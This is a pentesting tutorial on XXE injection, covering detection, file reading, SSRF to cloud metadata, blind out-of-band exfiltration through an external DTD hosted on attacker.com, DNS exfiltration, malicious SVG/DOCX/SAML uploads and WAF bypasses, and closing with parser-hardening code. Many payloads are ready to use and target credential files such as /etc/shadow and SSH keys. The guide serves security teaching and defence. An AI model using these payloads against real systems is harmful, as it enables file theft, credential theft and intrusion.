XML External Entity (XXE) injection is one of the most dangerous web application vulnerabilities — capable of reading server files, triggering SSRF, and achieving remote code execution in the right conditions.
It’s been in the OWASP Top 10 for years, and it’s still alive in production systems everywhere. The reason: developers enable XML parsers with external entity processing on by default and never turn it off.
This guide covers detection, exploitation, out-of-band data exfiltration, blind XXE, and WAF bypass — with payloads you can use in your next pentest.
What is XXE?
XXE stands for XML External Entity injection. It exploits how XML parsers process external entity references defined in a Document Type Definition (DTD).
When an application parses user-supplied XML, an attacker can inject a custom DTD that references external resources — like local files, internal network resources, or remote servers.
Minimal example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
If the parser processes this, the contents of /etc/passwd get returned in the response. That’s XXE in its simplest form.
Why XML Parsers Are the Problem
Most XML parsers are configured to resolve external entities by default. The application doesn’t need to “support” XXE — it just needs to parse XML without disabling that feature.
You’ll find XXE in:
- SOAP-based web services
- REST APIs that accept
Content-Type: application/xml - File upload features (DOCX, SVG, XLSX all use XML internally)
- RSS/Atom feed parsers
- SAML authentication flows
- Configuration file parsers
Types of XXE Attacks
1. Classic XXE (In-Band)
The extracted data is returned directly in the response. Easiest to exploit, easiest to detect.
2. Blind XXE (OOB)
No data in the response. You exfiltrate via out-of-band channel (DNS lookup or HTTP request to your server).
3. Error-Based XXE
Trigger parser errors that include file contents in the error message.
4. XXE to SSRF
Use external entity references to probe internal network resources.
5. XXE to RCE
Rarely possible directly, but achievable via PHP’s expect:// wrapper or specific application logic.
Detection
Step 1: Identify XML Entry Points
Look for requests with:
Content-Type: application/xmlortext/xml- XML-structured body (
<?xml,<root>, SOAP envelopes) - File upload endpoints (upload a malicious SVG or DOCX)
- SAML requests (often base64-encoded XML in POST parameters)
Step 2: Inject a Basic Payload
Intercept the request in Burp Suite and inject a minimal DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe "test_string">
]>
<root><data>&xxe;</data></root>
If the response contains test_string, the parser is resolving entities — proceed to file read.
Step 3: Test for File Read
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
Look for passwd content in the response.
Step 4: Burp Suite Active Scan
Burp Scanner (Pro) automatically detects XXE in XML parameters. For manual testing, Burp Repeater is your main tool.
If you’re setting up a practice lab, Vultr gives you a clean VPS to run DVWA, WebGoat, or your own vulnerable app — $5/month, spin up and destroy as needed.
Exploitation
Reading Local Files
Linux targets:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/user/.ssh/id_rsa">
]>
<root>&xxe;</root>
Windows targets:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/inetpub/wwwroot/web.config">
]>
<root>&xxe;</root>
Reading PHP Source Code
PHP’s php://filter wrapper lets you base64-encode file contents before returning them — bypasses issues with special characters breaking XML:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root>&xxe;</root>
Decode the base64 response to get the raw PHP source.
XXE to SSRF
Probe internal services:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
This targets AWS metadata service. If it returns data, you can enumerate IAM credentials, instance identity, etc.
Internal port scanning:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:22/">
]>
<root>&xxe;</root>
Response timing and content differences reveal open vs closed ports.
Parameter Entities in DTD Attacks
When inline entities are blocked, use parameter entities (prefixed with %) for more advanced injection:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
]>
<root>&exfil;</root>
Note: Many parsers don’t allow parameter entities inside internal DTD subsets. You’ll need an external DTD for full parameter entity exploitation.
Blind XXE & Out-of-Band Exfiltration
When the response doesn’t echo data back, you need OOB techniques.
Setting Up Your Listener
Use any server that logs incoming requests. Options:
nc -lvnp 80- Python HTTP server:
python3 -m http.server 80 - Burp Collaborator (Pro) — easiest option
- interactsh — free, open source
On a VPS (DigitalOcean works well for this — spin one up in minutes):
python3 -m http.server 80
DNS-Based Detection (Blind XXE)
Minimum viable blind XXE test:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-URL.com/">
]>
<root>&xxe;</root>
A DNS lookup or HTTP hit to your server confirms XXE exists even with no in-band response.
OOB Data Exfiltration via External DTD
Host a malicious DTD at http://attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%oob;
Then reference it in your payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfil;</root>
Flow:
- Parser fetches your external DTD
- DTD defines
%file(reads/etc/passwd) - DTD constructs an entity that makes an HTTP request with file contents
- You receive the data in your server logs
OOB via DNS Only (Firewall Bypass)
If HTTP outbound is blocked but DNS isn’t (common in corporate networks), encode data in DNS subdomains:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % oob "<!ENTITY exfil SYSTEM 'http://%file;.attacker.com/'>">
The hostname gets embedded in the DNS query. Watch your DNS server logs.
Error-Based XXE
Trigger a parser error that includes file contents in the error message:
External DTD (error.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY % err SYSTEM 'file:///DOESNOTEXIST/%file;'>">
%error;
%err;
Payload:
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/error.dtd">
%dtd;
]>
<root/>
The parser tries to open a nonexistent file using the passwd contents as part of the path — the error message leaks the file contents.
XXE via File Upload
Applications that process uploaded files often parse XML internally.
SVG Upload XXE
SVG is XML. If the app renders or processes SVGs server-side:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
Upload as evil.svg. If the app includes the SVG contents in its response or error, you have XXE.
DOCX/XLSX/PPTX XXE
Office Open XML formats are ZIP archives containing XML files. To inject:
- Create a legitimate DOCX
- Unzip it:
unzip document.docx -d docx_contents/ - Edit
word/document.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document>
<w:body>
<w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
</w:body>
</w:document>
- Repack:
cd docx_contents && zip -r ../evil.docx . - Upload to any document processing feature
SAML XXE
SAML authentication requests are base64-encoded XML. If the app processes SAML without disabling external entities:
- Intercept the SAML assertion in Burp
- Decode from base64
- Inject your XXE payload
- Re-encode and send
WAF Bypass Techniques
Encoding
XML supports multiple encodings. Try:
<?xml version="1.0" encoding="UTF-16"?>
Convert your payload to UTF-16 before sending. Most WAFs pattern-match on UTF-8.
cat payload.xml | iconv -f UTF-8 -t UTF-16LE > payload_utf16.xml
Chunked Transfer Encoding
Send the payload in chunked HTTP encoding. WAFs that buffer-only short requests may miss the injection:
Transfer-Encoding: chunked
10
<!DOCTYPE foo [
10
<!ENTITY xx
...
Entity Nesting
Some WAFs block SYSTEM or file:// keywords. Try with nested entity references or whitespace variations:
<!DOCTYPE foo [
<!ENTITY % a "fil">
<!ENTITY % b "e:">
<!ENTITY % c "///etc/passwd">
<!ENTITY % combined "<!ENTITY xxe SYSTEM '%a;%b;%c;'>">
%combined;
]>
<root>&xxe;</root>
Parameter Entity Alternative Namespaces
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/evil">
]>
vs.
<!DOCTYPE foo PUBLIC "-//W3C//DTD XHTML 1.0//EN" "http://attacker.com/evil">
The PUBLIC identifier can also be used to trigger external resource fetches in some parsers.
Content-Type Manipulation
If the app only allows application/json but processes XML: try switching Content-Type: application/xml and submitting an XML body. Many apps accept both without enforcing the declared type.
Tools
Burp Suite
The go-to for manual XXE testing. Use:
- Intercept to capture XML requests
- Repeater to modify and replay payloads
- Burp Collaborator (Pro) for blind OOB detection
- Active Scanner (Pro) for automatic XXE detection
XXEinjector
XXEinjector — Ruby tool that automates XXE exploitation including OOB file exfiltration:
ruby XXEinjector.rb --host=attacker.com --path=/etc/passwd --file=request.txt --oob=http
xml_cannibalist
Simple Python tool for constructing XXE payloads:
git clone https://github.com/r0oth3x49/xml_cannibalist
python3 xml_cannibalist.py -f /etc/passwd
Interactsh
Free Burp Collaborator alternative for OOB detection:
interactsh-client
Gives you a subdomain. Any DNS/HTTP hit gets logged.
Practice Environments
WebGoat
OWASP’s intentionally vulnerable app includes XXE challenges:
docker run -d -p 8080:8080 webgoat/goat-and-wolf
DVWA with XML Plugin
Portswigger Web Security Academy
Free, browser-based XXE labs covering every scenario in this guide. No setup required.
XXE vs Other Injection Types
| XXE | SSRF | SQL Injection | |
|---|---|---|---|
| Attack vector | XML parser | HTTP request | SQL query |
| Data source | Local files, internal HTTP | Internal services | Database |
| Blind technique | OOB DNS/HTTP | Response timing | Boolean/time-based |
| WAF bypass | Encoding, chunked | URL encoding, HTTPS | Comments, encoding |
| Best detection tool | Burp Suite | Burp Suite | sqlmap + Burp |
Defense & Remediation
Disable External Entities (the fix)
Java (DocumentBuilderFactory):
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Python (lxml):
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)
PHP:
libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET);
.NET:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(xmlStream, settings);
Use JSON Instead
If XML isn’t required, migrate to JSON. No DTD support = no XXE surface.
Input Validation
Filter user-supplied XML for DOCTYPE, ENTITY, SYSTEM, and PUBLIC keywords. Useful as defense-in-depth, but not a primary control — encoding bypasses it.
WAF Rules
OWASP CRS includes XXE detection signatures. Not sufficient alone but useful as a layer:
SecRule REQUEST_BODY "@contains <!DOCTYPE" "id:9001,deny,status:403"
Summary
XXE is exploitable wherever an application parses user-controlled XML without disabling external entity processing. In 2026, it’s still found in enterprise SAML flows, document processors, and legacy SOAP services.
Key techniques:
- Classic: inject
SYSTEM "file://..."entity, read in response - Blind OOB: host external DTD, exfiltrate via HTTP/DNS to your server
- Error-based: trigger parser errors that include file contents
- File upload: exploit SVG, DOCX, XLSX parsers
- SAML: decode base64, inject, re-encode
Fix is simple: disable external entity processing in your XML parser. The default settings on most parsers are insecure — you have to opt out.
Keep Going
This guide is part of the RTG Web Application Pentesting series:
- Web Application Pentesting Guide 2026 — methodology overview
- SQL Injection Attack Guide 2026 — detection, exploitation, bypass
- XSS Attack Guide 2026 — reflected, stored, DOM-based
- CSRF Attack Guide 2026 — tokens, SameSite, bypass
- SSRF Attack Guide 2026 — internal service access, cloud metadata
Need a pentest report that holds up? CipherWrite delivers technical security content written by practitioners — check out our services .
